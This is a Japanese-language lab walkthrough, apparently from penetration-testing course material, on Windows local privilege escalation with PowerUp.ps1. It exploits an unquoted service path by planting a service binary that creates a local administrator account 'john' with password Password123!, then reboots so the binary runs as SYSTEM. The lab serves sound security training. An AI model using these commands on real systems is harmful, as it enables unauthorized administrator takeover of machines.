Skip to content

Lab 3.1: Windows 権限昇格

Offline Exercise

接続性: これはオフライン演習です。この演習ではターゲットネットワークに接続する必要はありません。インターネットアクセスが必要になります。

目的

  • PowerUpを使用してローカル権限昇格の問題を発見します
  • Windowsサービス設定の問題を悪用してローカル権限を昇格します

ウォークスルービデオ

ラボのセットアップ

使用するVM:

  • Windows

このラボではWindows VMを起動するだけで済みます。

以前にこのラボを実行したことがある場合は、簡単なクリーンアップを実行しましょう。

デスクトップ上のTerminalという名前のリンクをクリックしてPowerShellターミナルを開き、次のコマンドを入力します:

コマンド

net localgroup administrators john /del
net user john /del
rm "C:\Program Files\VideoStream\1337.exe"

ラボ - ステップバイステップの手順

1. Windowsにログオンする

制限付きユーザーとしてWindowsにログオンします。ユーザー名とパスワードはそれぞれnotadminnotadminです。ラボの手順が表示されているブラウザウィンドウを閉じる可能性があるため、パスワードはユーザー名と同じであることを覚えておいてください。

Windowsからログアウトします。スタートメニューをクリックし、左下の人型アイコンをクリックし、省略記号(...)をクリックしてから「サインアウト」をクリックします。

以下の認証情報でWindowsマシンにログオンします:

  • ユーザー名: notadmin
  • パスワード: notadmin

これは管理者権限のない標準ユーザーです。sec560アカウントは既にローカル管理者権限を持っているため、使用しません。

2. PowerUp.ps1を実行する

PowerShellスクリプトPowerUp.ps1を試してみましょう。これは純粋なPowerShellスクリプトであるため、ネイティブバイナリを実行するよりもターゲットマシンで実行できる可能性が高くなります。後者の場合、例えばアプリケーション制御により実行ファイルがブロックされる可能性があります。

PowerUp.ps1を起動するには、デスクトップ上のPowerShellショートカットをクリックして別のPowerShellターミナルを開き、次を実行します:

コマンド

Import-Module C:\bin\PowerUp.ps1

想定される結果

PS C:\Windows\System32\WindowsPowerShell\v1.0> Import-Module C:\bin\PowerUp.ps1

では、チェックを実行しましょう。

コマンド

Invoke-AllChecks

想定される結果

C:\Windows\System32\WindowsPowerShell\v1.0> Invoke-AllChecks


ServiceName    : Video Stream
Path           : C:\Program Files\VideoStream\1337 Log\checklog.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users; Permissions=System.Object[]}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'Video Stream' -Path <HijackPath>
CanRestart     : False
Name           : Video Stream
Check          : Unquoted Service Paths

ServiceName    : Video Stream
Path           : C:\Program Files\VideoStream\1337 Log\checklog.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users; Permissions=System.Object[]}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'Video Stream' -Path <HijackPath>
CanRestart     : False
Name           : Video Stream
Check          : Unquoted Service Paths
[...trimmed for brevity...]

このコマンドは数秒かかります。PowerUp.ps1がすべての権限昇格チェックを実行するためです。

1つのツールだけを実行すると偽陰性に注意してください!

3. PowerUpの結果を確認する

PowerUpはいくつかの興味深い結果を返すはずです:

  • サービスVideo Streamの引用符で囲まれていないサービスパス
  • %PATH%ディレクトリ内の多数のDLLハイジャッキングの脆弱性の可能性
  • サービス実行ファイルと権限に関連する多数の脆弱性

PowerUpの結果は常に手動での検証が必要です。どのツールでもネストされた権限を不適切に解析する可能性があるためです。報告された問題を悪用してみましょう!

4. サービスビューで'Video Stream'サービスを確認する

既存のPowerShellウィンドウ内でservices.mscビューを開きましょう:

コマンド

services.msc

サービスリストでVideo Streamサービスまでスクロールし、ダブルクリックします。Video Streamサービスにリンクされた詳細が表示され、**実行ファイルへのパス**が引用符で囲まれていないことに気づくでしょう。

それを悪用しましょう!

パラメータにスペースがあるにもかかわらず、「実行ファイルへのパス」が引用符で囲まれていない

5. PowerUpを使用して脆弱性を悪用する

PowerUpは、特定された脆弱性を悪用する便利な方法を提供します。PowerUpによって報告されたエントリを確認すると、AbuseFunctionが含まれていることがわかります。これは、特定された問題の悪用を試みるための簡単なコピー&ペースト構文を提供します。

コース中に説明された引用符で囲まれていないサービスパスの問題を悪用しています。実際のサービス実行ファイルはC:\Program Files\VideoStream\1337 Log\フォルダに配置されており、完全なパスの周りに引用符がないため、WindowsはC:\Program.exeまたはC:\Program Files\VideoStream\1337.exeも実行しようとします。

では、「HijackPath」を適応させて、書き込み可能な実行ファイルを指すようにしましょう:

コマンド

Write-ServiceBinary -ServiceName 'Video Stream' -Path 'C:\Program Files\VideoStream\1337.exe'

想定される結果

C:\Windows\System32\WindowsPowerShell\v1.0> Write-ServiceBinary -ServiceName 'Video Stream' -Path 'C:\Program Files\VideoStream\1337.exe'

ServiceName  Path                                  Command
-----------  ----                                  -------
Video Stream C:\Program Files\VideoStream\1337.exe net user john Password123! /add && timeout /t 5 && net localgroup Administrators john /add

上記のPowerUpコマンドは、悪意のある実行ファイルをターゲットの場所に書き込みます。AbuseFunctionを実行した結果、PowerShellによって書き込まれた実行ファイルが、パスワードPassword123!を持つjohnというユーザーを作成することがわかります。その後、このユーザーはローカル管理者グループに追加されます。

6. コンピューターを再起動する

PowerShellのabuse関数が実行されたら、C:\Program Files\VideoStream\1337.exeファイルが存在するか確認します。存在する場合、実行ファイルがNT AUTHORITY\SYSTEMとして実行されるように、サービスを再起動する必要があります。

これは自動起動サービスなので、解決策は非常に簡単です: システムを再起動します!

コマンド

shutdown /r /t 0

制限付きユーザーでもシステムを再起動できます。ペネトレーションテストでそのような権限すら持っていない場合は、電源プラグを抜いたり、電源ボタンを長押ししたりして、システムを強制的に電源サイクルできる可能性があります。

7. Windowsにログオンする

ユーザー認証情報で再度Windowsマシンにログオンします:

  • ユーザー名: notadmin
  • パスワード: notadmin

8. ユーザーが追加されたことを確認する

ユーザーjohnが実際に作成され、ローカル管理者グループに追加されたことを確認しましょう。これを確認するには、PowerShellウィンドウで次のコマンドを実行します:

コマンド

net users

想定される結果

PS C:\bin> net users

User accounts for \\SEC560-WINDOWS

-------------------------------------------------------------------------------
Administrator            DefaultAccount           Guest
john                     notadmin                 sec560
WDAGUtilityAccount
The command completed successfully.

コマンド

net localgroup Administrators

想定される結果

PS C:\bin> net localgroup Administrators
Alias name     Administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
john
sec560
The command completed successfully.

おめでとうございます! 管理者権限のない制限付きユーザーから、ローカル管理者権限を持つユーザーに昇格しました。ハッシュのダンプ、新しいタイプの永続化など、まったく新しい一連の攻撃が利用可能になりました。すべてのペネトレーションテストの目標で管理者権限が必要なわけではありませんが、管理者権限は非常に便利です - 特にすべてのユーザーがリモートでログインできるRDPサーバーに対して実行する場合です。

必要に応じて、現在のユーザーからログアウトしてから、ローカルAdministratorsグループのメンバーになった新しいユーザーjohnとしてログインしてください。

完了したら、notadmin(またはjohn)ユーザーアカウントからログアウトし、次のラボの準備としてsec560ユーザーアカウントに戻ります。sec560アカウントのデフォルトパスワードは、変更していない限りsec560です。

まとめ

PowerUpを使用してローカル権限昇格の脆弱性を検出し悪用する方法を特定しました。これらのツールを使用して、権限を昇格し、管理者権限を持つ新しいユーザーをシステム上に作成することができました。